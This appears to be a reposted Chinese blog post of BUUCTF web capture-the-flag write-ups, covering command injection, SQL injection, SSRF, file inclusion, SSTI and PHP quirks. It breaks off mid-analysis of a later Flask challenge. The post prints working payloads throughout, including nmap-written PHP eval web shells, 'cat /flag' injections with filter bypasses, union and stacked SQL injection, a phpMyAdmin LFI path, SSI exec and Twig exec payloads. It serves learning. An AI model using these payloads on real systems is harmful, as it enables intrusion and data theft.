BUUCTF(web刷题记录一)
Posted narukuuuu
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF(web刷题记录一)相关的知识,希望对你有一定的参考价值。
记录BUUCTF的web题
目录
ZJCTF,不过如此(php伪协议,文件包含,远程代码执行)
Easy Calc(rce)
(命令执行还蛮多的,虽然学完了命令执行但是还是狠狠地涨知识了)
打开一看是简单计算器,随便输入看看
发现字母输入不了,查看源码
发现是在calc.php里面计算的,而且提示说存在Waf
如果传入字母和一些其它字符,就会显示Forbidden。
403Forbidden是HTTP协议中的一个状态码(Status Code)。可以简单的理解为没有权限访问此站。
该状态表示服务器理解了本次请求但是拒绝执行该任务
可知这就是WAF
这些字母应该就是Waf过滤的,访问calc.php
<?php
error_reporting(0);
if(!isset($_GET['num']))
show_source(__FILE__);
else
$str = $_GET['num'];
$blacklist = [' ', '\\t', '\\r', '\\n','\\'', '"', '`', '\\[', '\\]','\\$','\\\\','\\^'];
foreach ($blacklist as $blackitem)
if (preg_match('/' . $blackitem . '/m', $str))
die("what are you want to do?");
eval('echo '.$str.';');// 存在高危漏洞,可以上传非法字符
?>
这个代码是黑名单限制,传参了之后会进行一个正则过滤,如果符合规则会执行eval()。(还没有完全看懂这个代码,搞懂了再补后续)
绕waf
php的解析规则
我们知道PHP将查询字符串(在URL或正文中)转换为内部关联数组$_GET或关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”). 值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替
php需要将所有参数转换为有效的变量名,因此在解析查询字符串的时候,它会做两件事:
①删除前后的空白符(空格符,制表符,换行符等统称空白符)
②将某些字符转换为下划线(包括空格)
‘num’被限制了,那么' num'呢,在num前面加了空格,这样waf就找不到num这个变量了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把' num'前面的空格去掉再解析,利用这点进行绕过Waf来上传非法字符。
因为本题涉及过滤,所以我们查看一下禁用的函数(disable_functions)发现system()等好多PHP执行系统外部命令函数都被禁用。
首先我们要先扫根目录下的所有文件,也就是可以用 scandir("/")
,但是 "/"
被php代码过滤了,所以我们用chr(47)绕过
构造
? num=var_dump(scandir(chr(47))
发现flagg文件
然后读取该文件就好啦(本题并没有过滤掉f1agg 所以可以不用chr()函数)
os:刚开始我传参是这样的:
? num=scandir(chr(47))
发现没有回显,查了一下才知道,因为回显的是数组形式,php是不会直接输出的,所以要借用var_dump或者print_r . 这两个函数都可以数组和对象打印出来
用file_get_contents()函数来代替system()
构造:
? num=var_dump(file_get_contents(chr(47).f1agg))
得到flag
文章参考:Buuctf(Easy Calc 1)_小小大空翼的博客-CSDN博客
PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec()_lxw1844912514的博客-CSDN博客
CheckIn
有空再更这道题
BackupFile(sql)
提交1,正常回显
提交2,回显为2,可以判断为字符型注入
输入select看看是否有回显
可以看到并没有限制到关键字show
先查询库名
1';show databases;#
继续获取表名
1';show tables;
得到了两个表,查询FlagHere
1';desc FlagHere;
查询FlagHere表的flag列,因为select被过滤了,可以通过使用HANDLER进行查询
参考:
相关语法:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name = | <= | >= | < | > (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name FIRST | NEXT | PREV | LAST
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ FIRST | NEXT
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
//其中 HANDLER tbl_name OPEN AS example
//其后 HANDLER example READ index_name="example2"
构造payload
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#
成功得到flag
Easy MD5
打开题目,尝试sql注入没反应
直接上burp,
可以看到 header 里面有 hint
后台确实执行了我们的查询,但是在通过where时,条件不匹配,导致报错
需要password=md5($pass,true)条件为真时,才会执行select * form admin
md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c,这个字符串前几位刚好是' or '6
所以输入ffifdyop后,内部执行语句就会变为
select * from 'admin' where password='or '6�]��!r,��b'
但是为什么偏偏当password='or'6�]��!r,��b'时,会判断为真呢?在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true
那么select查询语句就简化为
select * from 'admin' where password=' or 6
这样就可以绕过md5函数
按照回显访问levels91.php
查看源码,是md5弱比较 ,为0e开头的会被识别为科学记数法,结果均为0
直接网上找两个数传参
md5强比较,直接用数组绕过即可,md5()函数无法解出数值,就会得到===强比较的值相等
Online Tool(rce)
打开题目,又是代码审计捏
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
if(!isset($_GET['host']))
highlight_file(__FILE__);
else
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
remote_addr和x_forwarded_for这两个是见的比较多的,服务器获取ip用的,这里没什么用
escapeshellarg()和escapeshellcmd() 没怎么见过,网上找找资料说这两个放在一起用会有问题
(具体的绕过参考师傅博客:传送门)
1)传入的参数是:172.17.0.2' -v -d a=1
2)经过escapeshellarg处理后变成了'172.17.0.2'\\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3)经过escapeshellcmd处理后变成'172.17.0.2'\\\\'' -v -d a=1\\',这是因为escapeshellcmd对\\以及最后那个不配对儿的引号进行了转义
4)最后执行的命令是curl '172.17.0.2'\\\\'' -v -d a=1\\',由于中间的\\\\被解释为\\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\\ -v -d a=1',即向172.17.0.2\\发起请求,POST 数据为a=1'。
大概来说就是两次转译后出现了问题,没有考虑到单引号的问题
往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这有个system来执行命令,而且有传参,应该就是利用这里了
nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
所以构造payload:
?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '
这里有个需要注意的:
最后面要加引号且引号前面要空格
如果不加,当两个函数执行并echo出来后就会变成:<?php eval($_POST["shell"]);?> -oG shell.php\\\\,转义出来的反斜杠会和php后缀连在一起,会上传失败
得到文件名,上蚁剑连接,在根目录下找到flag。
或者直接构造payload:单引号被转义过滤了,可以使用反引号来进行绕过
?host=' <?php echo `cat /flag`;?> -oG shell.php '
直接访问shell.php
Fakebook(ssrf+sql)
真是正在学什么准备学什么就写到什么题
打开题目,是一个登录,注册界面,那就试注册个账户
注册成功,但是发现没有办法回访之前的界面了,那就直接转登录界面login.php
查看源代码,有传参,有疑点,极其可能存在sql注入
直接访问view.php?no=1
手动注入试试看
确实存在sql注入,爆字段,试到5的时候报错那么字段数就是4了
那么下面可以用union注入查询(刚开始试的是报错注入,布尔注入也行但是我还不会写脚本又不想网上一把找脚本又懒得看sqlmap)刚开始以为是过滤关键字,大小写双写绕过都不行,最后发现是有waf(巧得很,最近刚要学waf),那么用内敛注释符进行绕过(过滤了空格)
接下来就简单多了
(插个报错注入,嫌弃后面调数麻烦就放弃了)
union注入
爆数据库
?no=-1 union/**/select 1,database(),3,4--+
爆表
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
爆字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
爆 no,username.passwd,data(各字段内容用'|'来分隔了,不然一大堆看着也难受)
?no=-1 union/**/select 1,group_concat(no,'|',username,'|',passwd,'|',data),3,4 from users--+
看到这个data的内容是序列化数据??不太对劲,难道还有反序列化???应该是还有其他的切入点没有发现,再回去进行一波信息收集,查看robots.txt
发现有备份文件,访问直接下载,是源码
<?php
class UserInfo
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
function get($url)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404)
return 404;
curl_close($ch);
return $output;
public function getBlogContents ()
return $this->get($this->blog);
public function isValidBlog ()
$blog = $this->blog;
return preg_match("/^(((http(s?))\\:\\/\\/)?)([0-9a-zA-Z\\-]+\\.)+[a-zA-Z]2,6(\\:[0-9]+)?(\\/\\S*)?$/i", $blog);
?>
分析一下:
1)注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag
2)这个一看的话就合理解释了之前的url传参sql注入
function get($url)
$ch = curl_init(); //创建一个curl资源
//设置curl和相关的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch); //抓取url并传给浏览器
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404)
return 404;
curl_close($ch); //关闭curl资源
return $output;
//就是看url
3)从上面知道get()函数存在ssrf漏洞,如图,get()函数在此调用,而$blog又是我们可控的
public function getBlogContents ()
return $this->get($this->blog);
4)那为什么会有序列化?我想应该是在我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。
那就很简单了,下面就将file:///var/www/html/flag.php加入到我们的序列化数据里面
(直接拿源码改辽)
<?php
class UserInfo
public $name = "";
public $age = 0;
public $blog ="";
public function __construct($name, $age, $blog)
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
public function getBlogContents ()
return $this->get($this->blog);
public function isValidBlog ()
$blog = $this->blog;
return preg_match("/^(((http(s?))\\:\\/\\/)?)([0-9a-zA-Z\\-]+\\.)+[a-zA-Z]2,6(\\:[0-9]+)?(\\/\\S*)?$/i", $blog);
$a=new UserInfo(naruku,16,'file:///var/www/html/flag.php');
echo serialize($a);
?>
得到
O:8:"UserInfo":3:s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";
配合sql注入传参:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:s:4:"name";s:6:"naruku";s:3:"age";i:16;s:4:"blog";s:29:"file:///var/www/html/flag.php";'
成功绕过
查看源码
我的直接点得到flag了
The mystery of ip(rce+ssti)
点开flag模块
看源码,在hint中看到这句话,自然而然想到x-forwarded-for
抓包构造x-forwarded-for,发现IP会根据x-forwarded-for的设定而变化
刚开始想会不会是sql注入,但是以后排除这种可能,料想可能是ssti+rce
可以看到命令被执行了,那就简单辽
ZJCTF,不过如此(php伪协议,文件包含,远程代码执行)
打开题目,代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file))
die("Not now!");
include($file); //next.php
else
highlight_file(__FILE__);
?>
看到include想到了文件包含并且提示了next.php,那就利用PHP伪协议来读取这个文件
php://input
作用:执行POST数据中的Php代码
构造paload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
POST:
I have a dream
得到一堆base64,解码得
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str)
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\\\1")',
$str
);
foreach($_GET as $re => $str)
echo complex($re, $str). "\\n";
function getFlag()
@eval($_GET['cmd']);
代码审计,分析以下可利用的点
利用点一:
function complex($re, $str)
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\\\1")',
$str
);
这里preg_replace使用了/e模式,导致可以代码执行。而且该函数的第一个和第三个参数我们是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(第二个参数)当做代码来执行,但是这里的第二个参数却固定为 ‘strtolower(“\\1”)’ 字符串。上面的命令执行,相当于 eval(‘strtolower(“\\1”);’) 结果,当中的 \\1 实际上就是 \\1 ,而 \\1 在正则表达式中有自己的含义。
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。所以这里的 \\1 实际上指定的是第一个子匹配项
构造payload:
/?.*=$phpinfo()
即以GET方式传入的参数名为/?.*,值为phpinfo()。
原先的语句:
preg_replace('/(' . $regex . ')/ei', 'strtolower("\\\\1")', $value);
语句就变成了:
preg_replace('/(.*)/ei', 'strtolower("\\\\1")', $phpinfo());
但是如果我们用get的方式传参?.*=$phpinfo(),就会发现无法执行phpinfo()函数,这是由于在PHP中,对于传入的非法的$_GET数组参数名,会将其转化为下划线,则会就导致了正则匹配失效。所以要做的就是换一个正则表达式,让其匹配到$phpinfo()即可执行phpinfo函数。这里可以构造payload: \\S*=$phpinfo()执行,便可得到phpinfo页面。(\\S匹配任何非空白字符)
根据题意,我们可以构造payload:(通过preg_match远程代码执行来调用getFlag()函数)
\\S*=$getFlag()
利用点二:
function getFlag()
@eval($_GET['cmd']);
直接构造payload:
cmd=system('cat /flag')
那么总的payload就是
next.php?
\\S*=$getFlag()&cmd=system(' cat /flag');
我有一个数据库(文件包含)
打开,乱码,看源码没什么信息,看看rotbots.txt
访问phpinfo.php看看
题目说我有一个数据库,扫一下后台看看还有什么信息吗
扫后台扫到/phpadmin
(用御剑扫后台,但是扫不到什么,那就只能有dirsearch来
扫描后台了)
访问:
http://42751f04-7dee-4693-aac7-26b8aa5cb46e.node4.buuoj.cn:81/phpmyadmin/
查看phpadmin后台管理版本
在phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成 本地文件包含漏洞。
之前复现过phpadmin文件包含漏洞(传送门),直接构造payload:
/?target=db_sql.php%3f/../../../../../../../../flag
Mark loves cat (变量覆盖)
打开题目,找了一下没什么发现,直接扫目录,可以知道有.git源码泄露,但是发现Githack可以扫除两个Php文件,但是却没有办法下载下来,直接在网上找这两个文件了
flag.php
<?php
$flag = file_get_contents('/flag');
?>
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y)
$$x = $y;
foreach($_GET as $x => $y)
$$x = $$y;
foreach($_GET as $x => $y)
if($_GET['flag'] === $x && $x !== 'flag')
exit($handsome);
if(!isset($_GET['flag']) && !isset($_POST['flag']))
exit($yds);
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')
exit($is);
echo "the flag is: ".$flag;
分析:
前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。
首先我们想到的肯定是让脚本执行到最后一句echo $flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成$flag = $aaa,而$aaa变量没有定义为空,最后的输出就是空同理:我们
POST
传参flag=aaa,在第一个foreach语句中变成$flag
= aaa,flag被覆盖为‘aaa’,最后输出aaa
解法一:利用exit($yds)
exit($yds)的执行条件是:post,get都不传参flag
if(!isset($_GET['flag']) && !isset($_POST['flag']))
exit($yds);
进行get传参?yds=flag
get传参进入第二个foreach,这时$x=yds,$y=flag,所以$$x=$yds,$y=$flag,$yds=$flag。
解法二:利用exit($is)
exit($is)的执行条件:
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')
exit($is);
get传参?is=flag&flag=flag(和解法一同理,flag=flag是为了符合执行条件)
还有其他的解法,有空再补充
easy_web 1
打开题目,好家伙嘲讽一波
看一下源码
应该是和md5有关,返回页面可以就看到url有点蹊跷
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
base64解密一下,发现是两次base64解密得到一串十六进制数字,再解密,得到555.png
那就是说这里应该是个突破口(cmd应该也是突破口),那么先试试index.php,加密后得到字符串:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
构造payload:
?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
得到回显,base64解密得到Index.php的源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file))
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
else
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\\'|\\"|\\`|;|,|\\*|\\?|\\\\|\\\\\\\\|\\n|\\t|\\r|\\xA0|\\|\\|\\(|\\)|\\&[^\\d]|@|\\||\\\\$|\\[|\\]|||\\(|\\)|-|<|>/i", $cmd))
echo("forbid ~");
echo "<br>";
else
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
echo `$cmd`;
else
echo ("md5 is funny ~");
?>
可以看到cmd过滤了很多关键字(有点奇怪这道题没有回显,等搞清楚再来补充)
Had a bad day(文件包含)
打开题目,随便点点
url有疑点,怀疑是sql或者文件包含
这样的话就只可能是文件包含了,试着利用文件包含读取去index.php源码
构造payload:
?category=php://filter/convert.base64-encode/resource=index
得到base64码,解码:
<?php
$file = $_GET['category'];
if(isset($file))
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
include ($file . '.php');
else
echo "Sorry, we currently only support woofers and meowers.";
?>
分析了一下,大概就是说入的category
需要有woofers或
meowers或
index
才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
构造payload:
?category=php://filter/read=convert.base64-encode/resource=index/../flag
因为相对路径是计算出来的,中间目录如果不存在也没关系
得到base64码,解码得:
高明的黑客
下载压缩包,里面基本上都是php文件,超多,这道题考写脚本的能力,刚好学了python 先试试能不能理解,先从简单的开始
搞懂再更
Web1
打开题目,是一个登录界面,那么注册一个用户,进入之后没什么提示,但有一个申请上传广告的界面
url有疑,申请广告这个页面怀疑有sql注入,找找注入点
判断就是标题处头注入点并且过滤了注释符和空格,那就用内敛注释符来代替空格进行绕过,用单引号进行闭合。
试到22成功,2和3是回显点
爆库:
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
爆表:
-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.tables/**/where/**/table_schema=database()'
又过滤了,试了大小写和双写都没有办法进行绕过,那就是没有办法使用information_schema这张表了。
发现还有其他表如mysql.innodb_table_stats和sys.schema_table_statistics_with_buffer可以看表名、数据库名,就是没有列名。
这里要用到无列名注入(没遇到过,涨知识)
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
无列名注入:具体参考:传送门
假设有tableX
user | password |
admin1 | 1234 |
admin2 | 5678 |
我们输入查询语句:
select 1,2 union select * from tableX;
1 | 2 |
admin1 | 1234 |
admin2 | 5678 |
他会生成一个1,2, 再提取tableX的内容来临时生成一张新表,却不会提取tableX的列名。在这张新表中,我们用的这个数字边如同替换了列名。我们便可用这个2
在这张临时的表中指定想要查看的列名。
select `2` from (select 1,2 union select * from tableX)a;
这句话的意思是,使用括号内的select语句构建一张新表a,然后从a中选取列名为‘2’的列,即原来的passwd列。至此,我们便完成了无列名注入。(如果反引号 ` 被过滤,我们可以使用别名替代。)
select b from (select 1,2 as b union select * from tableX)a;
所以查询表中内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查询表内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/web1.users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这里为什么是三列呢,因为users表一般为id,username,password三列,而flag一般在username或者password
朴实无华(代码审计,rce)
打开题目,乱码
一上来就叫我hack它?这我也得找找切入点吧,之前也是大概做了到乱码的题目加上题目有bot,直接查看rotbots.txt
访问一下
耍人?想到之前题目有个报错说什么header,直接上Bp看看
真的藏了个fl4g.php,直接访问,得到源码(旦总我不想被安排去非洲呐)
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num']))
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021)
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
else
die("金钱解决不了穷人的本质问题");
else
die("去非洲吧");
//level 2
if (isset($_GET['md5']))
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
else
die("去非洲吧");
//get flag
if (isset($_GET['get_flag']))
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," "))
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
else
die("快到非洲了");
else
die("去非洲吧");
?>
level1:为了不被安排去非洲,只能勇闯三关了
传入一个参数num,经过intval函数既要小于2020并且加一要大于2021,看一下这个函数
这个函数在用科学计数法的时候,只会保留前面的1
构造payload:
?num=1e10
哦豁第一关闯关成功
level2:来个拿手小菜
直接网上一把找get传参的值和md5加密后的值相等的数值,即0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
构造payload:
?num=1e10&md5=0e215962017
马上逃离非洲!!
level3:
if (isset($_GET['get_flag']))
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," "))
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
else
die("快到非洲了");
else
die("去非洲吧");
可以看到过滤了cat和空格,都好绕过,先看看当前目录有什么文件
传参:
?num=1e10&md5=0e215962017&get_flag=ls
知道flag是哪个文件啦,那就简单啦
cat 用 ca\\t 绕过,空格用$IFS来绕过,传参:
?num=1e10&md5=0e215962017&get_flag=ca\\t$IFSfllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag,成功逃过被安排去非洲的命运!!!
Cookie is so stable
打开题目,题目说是cookie微妙,hint.php源码也在暗示cookie,抓包看看,刚开始觉得会不会是cookie注入攻击,但是尝试无果
卡住了,看来其他师傅的wp,好家伙,我还真没有学到,又来涨知识。
解题过程:
抓包,发现cookie里面有user,确定是ssti模板注入。下面来判断是哪一个模块
判断其模板引擎类型方法:
在cookie的user处输入7*7来进行判断
返回49(返回7777777表示是 Jinja2 模块),说明是Twig模板引擎
确定后直接在网上找个合适的payload:
_self.env.registerUndefinedFilterCallback("exec")_self.env.getFilter("cat /flag")//查看flag
Nmap
刚开始以为是rce,直接试: 127.0.0.1 | ls
发现 ' | '被转义了,试试其他的管道符,发现都被办了,没什么思路,看来其他师傅的wp,说是要利用nmap写入一句话木马,想起之前做的Online Tool也是利用这个来getshell,呜呜呜脑子笨没有联想到,改天回去归纳总计一下,知道这个解题思路就很简单了
127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.php '
进行绕过
127.0.0.1 | ' <?= @eval($_POST["shell"]);?> -oG hack.phtml '
phtml后要有空格,不然上传的文件会变成下面的样子
查看扫描列表:
点进访问hack.phtml文件
连接蚁剑,在根目录下找到flag即可
PYWebsite
打开题目,说是要购买flag,f12查看一下源码
发现有个flag.php,访问一下看看
看到说保存了IP验证,那就联想到了X-Forward-For,直接抓包构造X-Forwarded-For: 127.0.0.1
得到flag.php
EasySearch
又是登录界面,试了试登录,失败辽,那就常规扫后台
扫出个index.php.swp备份,访问看源码
<?php
ob_start();
function get_hash()
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
else
echo "<script>alert('[!] Failed')</script>";
else
***
***
?>
分析一下:
1)首先要求password的md5值的前6个字符为6d0bc1。
跑个脚本
2)
$file_shtml = "public/".get_hash().".shtml";
# 创建文件
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
#
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
# 将 变量$text 的内容 写入 $shtml 文件
fwrite($shtml,$text);
# 关闭文件
fclose($shtml);
解题过程:
post传参:
username=123&password=2020666
直接F12看相应头
访问,另外可以注意到这是个shtml。简单来说就是能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。Hello,'.$_POST['username'].'是可以作为注入点来进行输出我们想要的信息
格式为:
<!--#exec cmd="命令"-->
常规查看目录
username=<!--#exec cmd="ls"-->&password=2020666
没明显的flag目录,查看上级目录
username=<!--#exec cmd="ls .."-->&password=2020666
[BUUCTF]刷题记录8
[De1CTF 2019]SSRF Me
- python代码审计
- ssrf
- hash拓展攻击
flask题
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
Exec方法中有两条路走
第一是如果action里面有scan,那么就会执行scan方法,读取param的前五十个字符,然后再写入result.txt
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
如果是read在action里面,那么就会读取出result.txt的内容
